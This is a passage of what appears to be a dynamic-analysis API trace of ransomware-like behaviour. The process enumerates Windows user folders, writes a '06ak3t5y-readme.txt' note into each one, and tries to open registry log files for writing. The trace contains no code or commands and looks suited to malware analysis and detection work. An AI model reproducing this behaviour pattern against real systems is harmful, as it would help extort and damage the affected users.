(lpFileName="\\\\?\\C:\\Users\\Default\\Pictures\\06ak3t5y-readme.txt" (normalized: "c:\\users\\default\\pictures\\06ak3t5y-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0110.462] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2068040) returned 1 [0110.462] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="PrintHood", cAlternateFileName="PRINTH~1")) returned 1 [0110.462] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="Recent", cAlternateFileName="")) returned 1 [0110.462] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62a00de0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd894d74c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="Saved Games", cAlternateFileName="SAVEDG~1")) returned 1 [0110.462] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x20400e0 [0110.462] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x44) returned 0x2067040 [0110.462] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x6a) returned 0x30ee2d8 [0110.462] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Saved Games\\06ak3t5y-readme.txt" (normalized: "c:\\users\\default\\saved games\\06ak3t5y-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0110.462] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x30ee2d8) returned 1 [0110.462] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x629b4b20, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a00de0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd88b51cb, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="Searches", cAlternateFileName="")) returned 1 [0110.462] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040070 [0110.462] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x3e) returned 0x3687130 [0110.462] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x64) returned 0x2068040 [0110.462] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Searches\\06ak3t5y-readme.txt" (normalized: "c:\\users\\default\\searches\\06ak3t5y-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0110.468] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2068040) returned 1 [0110.468] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="SendTo", cAlternateFileName="")) returned 1 [0110.468] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0110.468] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0110.468] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62a00de0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="Videos", cAlternateFileName="")) returned 1 [0110.468] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x20400a0 [0110.468] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x3a) returned 0x3687178 [0110.468] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x60) returned 0x2085fc0 [0110.468] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Videos\\06ak3t5y-readme.txt" (normalized: "c:\\users\\default\\videos\\06ak3t5y-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0110.469] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2085fc0) returned 1 [0110.469] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62a00de0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="videos", cAlternateFileName="")) returned 0 [0110.469] FindClose (in: hFindFile=0x72d330 | out: hFindFile=0x72d330) returned 1 [0110.469] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x209bbc8) returned 1 [0110.469] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040300) returned 1 [0110.469] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\*", lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x791634f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x3be1cd0, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x3be1cd0, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName=".", cAlternateFileName="")) returned 0x72d330 [0110.469] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x791634f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x3be1cd0, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x3be1cd0, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="..", cAlternateFileName="")) returned 1 [0110.469] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3be1cd0, ftCreationTime.dwHighDateTime=0x1d77026, ftLastAccessTime.dwLowDateTime=0x3be1cd0, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x3be9200, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0xe68, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="06ak3t5y-readme.txt", cAlternateFileName="06AK3T~1.TXT")) returned 1 [0110.469] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x794f55f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79698510, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="AppData", cAlternateFileName="")) returned 1 [0110.469] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x79d70450, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79d70450, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x79d70450, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0110.469] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794f55f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e7f6e20, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="Contacts", cAlternateFileName="")) returned 1 [0110.469] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040300 [0110.469] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x42) returned 0x2067090 [0110.469] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x68) returned 0x2068040 [0110.469] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Contacts\\06ak3t5y-readme.txt" (normalized: "c:\\users\\keecfmwgj\\contacts\\06ak3t5y-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x238 [0110.470] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2068040) returned 1 [0110.470] WriteFile (in: hFile=0x238, lpBuffer=0x2041258*, nNumberOfBytesToWrite=0xe68, lpNumberOfBytesWritten=0x18fbd4, lpOverlapped=0x0 | out: lpBuffer=0x2041258*, lpNumberOfBytesWritten=0x18fbd4*=0xe68, lpOverlapped=0x0) returned 1 [0110.471] CloseHandle (hObject=0x238) returned 1 [0110.471] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x79d70450, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79d70450, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x79d70450, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="Cookies", cAlternateFileName="")) returned 1 [0110.471] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794f55f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0xe6e0ccc0, ftLastAccessTime.dwHighDateTime=0x1d77025, ftLastWriteTime.dwLowDateTime=0xe6e0ccc0, ftLastWriteTime.dwHighDateTime=0x1d77025, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="Desktop", cAlternateFileName="")) returned 1 [0110.471] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040390 [0110.471] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x40) returned 0x36871c0 [0110.471] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x66) returned 0x2068040 [0110.471] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\06ak3t5y-readme.txt" (normalized: "c:\\users\\keecfmwgj\\desktop\\06ak3t5y-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x238 [0110.472] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2068040) returned 1 [0110.472] WriteFile (in: hFile=0x238, lpBuffer=0x2041258*, nNumberOfBytesToWrite=0xe68, lpNumberOfBytesWritten=0x18fbd4, lpOverlapped=0x0 | out: lpBuffer=0x2041258*, lpNumberOfBytesWritten=0x18fbd4*=0xe68, lpOverlapped=0x0) returned 1 [0110.473] CloseHandle (hObject=0x238) returned 1 [0110.473] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794cf490, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0xd1740de0, ftLastAccessTime.dwHighDateTime=0x1d75d36, ftLastWriteTime.dwLowDateTime=0xd1740de0, ftLastWriteTime.dwHighDateTime=0x1d75d36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0110.473] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040000 [0110.473] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x44) returned 0x20670e0 [0110.473] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x6a) returned 0x30ee2d8 [0110.473] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\06ak3t5y-readme.txt" (normalized: "c:\\users\\keecfmwgj\\documents\\06ak3t5y-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x238 [0110.474] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x30ee2d8) returned 1 [0110.474] WriteFile (in: hFile=0x238, lpBuffer=0x2041258*, nNumberOfBytesToWrite=0xe68, lpNumberOfBytesWritten=0x18fbd4, lpOverlapped=0x0 | out: lpBuffer=0x2041258*, lpNumberOfBytesWritten=0x18fbd4*=0xe68, lpOverlapped=0x0) returned 1 [0110.475] CloseHandle (hObject=0x238) returned 1 [0110.475] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794cf490, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e833eb0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1 [0110.475] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x20402e0 [0110.475] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x44) returned 0x2067130 [0110.475] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x6a) returned 0x30ee2d8 [0110.475] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Downloads\\06ak3t5y-readme.txt" (normalized: "c:\\users\\keecfmwgj\\downloads\\06ak3t5y-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x238 [0110.476] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x30ee2d8) returned 1 [0110.476] WriteFile (in: hFile=0x238, lpBuffer=0x2041258*, nNumberOfBytesToWrite=0xe68, lpNumberOfBytesWritten=0x18fbd4, lpOverlapped=0x0 | out: lpBuffer=0x2041258*, lpNumberOfBytesWritten=0x18fbd4*=0xe68, lpOverlapped=0x0) returned 1 [0110.477] CloseHandle (hObject=0x238) returned 1 [0110.477] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794a9330, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e7fbc40, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1 [0110.477] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040150 [0110.477] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x44) returned 0x2067180 [0110.477] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x6a) returned 0x30ee2d8 [0110.477] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Favorites\\06ak3t5y-readme.txt" (normalized: "c:\\users\\keecfmwgj\\favorites\\06ak3t5y-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x238 [0110.477] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x30ee2d8) returned 1 [0110.477] WriteFile (in: hFile=0x238, lpBuffer=0x2041258*, nNumberOfBytesToWrite=0xe68, lpNumberOfBytesWritten=0x18fbd4, lpOverlapped=0x0 | out: lpBuffer=0x2041258*, lpNumberOfBytesWritten=0x18fbd4*=0xe68, lpOverlapped=0x0) returned 1 [0110.478] CloseHandle (hObject=0x238) returned 1 [0110.479] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794a9330, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0xf2ab6db0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf2ab6db0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="Links", cAlternateFileName="")) returned 1 [0110.479] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x20401e0 [0110.479] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x3c) returned 0x3687208 [0110.479] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x62) returned 0x2068040 [0110.479] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Links\\06ak3t5y-readme.txt" (normalized: "c:\\users\\keecfmwgj\\links\\06ak3t5y-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x238 [0110.479] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2068040) returned 1 [0110.479] WriteFile (in: hFile=0x238, lpBuffer=0x2041258*, nNumberOfBytesToWrite=0xe68, lpNumberOfBytesWritten=0x18fbd4, lpOverlapped=0x0 | out: lpBuffer=0x2041258*, lpNumberOfBytesWritten=0x18fbd4*=0xe68, lpOverlapped=0x0) returned 1 [0110.480] CloseHandle (hObject=0x238) returned 1 [0110.481] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x79d965b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79d965b0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x79d965b0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="Local Settings", cAlternateFileName="LOCALS~1")) returned 1 [0110.481] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794a9330, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0xd16102e0, ftLastAccessTime.dwHighDateTime=0x1d75d36, ftLastWriteTime.dwLowDateTime=0xd16102e0, ftLastWriteTime.dwHighDateTime=0x1d75d36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="Music", cAlternateFileName="")) returned 1 [0110.481] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x20402f0 [0110.481] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x3c) returned 0x3687250 [0110.481] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x62) returned 0x2068040 [0110.481] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\06ak3t5y-readme.txt" (normalized: "c:\\users\\keecfmwgj\\music\\06ak3t5y-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x238 [0110.481] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2068040) returned 1 [0110.481] WriteFile (in: hFile=0x238, lpBuffer=0x2041258*, nNumberOfBytesToWrite=0xe68, lpNumberOfBytesWritten=0x18fbd4, lpOverlapped=0x0 | out: lpBuffer=0x2041258*, lpNumberOfBytesWritten=0x18fbd4*=0xe68, lpOverlapped=0x0) returned 1 [0110.482] CloseHandle (hObject=0x238) returned 1 [0110.483] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x79d4a2f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79d4a2f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x79d4a2f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="My Documents", cAlternateFileName="MYDOCU~1")) returned 1 [0110.483] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x79d70450, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79d70450, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x79d70450, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="NetHood", cAlternateFileName="")) returned 1 [0110.483] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x791af7b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x40087a50, ftLastAccessTime.dwHighDateTime=0x1d75d2a, ftLastWriteTime.dwLowDateTime=0xfd20b130, ftLastWriteTime.dwHighDateTime=0x1d77025, nFileSizeHigh=0x0, nFileSizeLow=0x100000, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="NTUSER.DAT", cAlternateFileName="")) returned 1 [0110.483] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x79bf3690, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79bf3690, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfd1f78b0, ftLastWriteTime.dwHighDateTime=0x1d77025, nFileSizeHigh=0x0, nFileSizeLow=0x40000, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="ntuser.dat.LOG1", cAlternateFileName="NTUSER~1.LOG")) returned 1 [0110.483] PathFindExtensionW (pszPath="ntuser.dat.log1") returned=".log1" [0110.483] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x40150) returned 0x3880590 [0110.485] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\ntuser.dat.LOG1" (normalized: "c:\\users\\keecfmwgj\\ntuser.dat.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0xffffffff [0110.485] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x3880590) returned 1 [0110.485] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x79bf3690, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79bf3690, ftLastAccessTime.dwHighDateTime=0x1d70509, 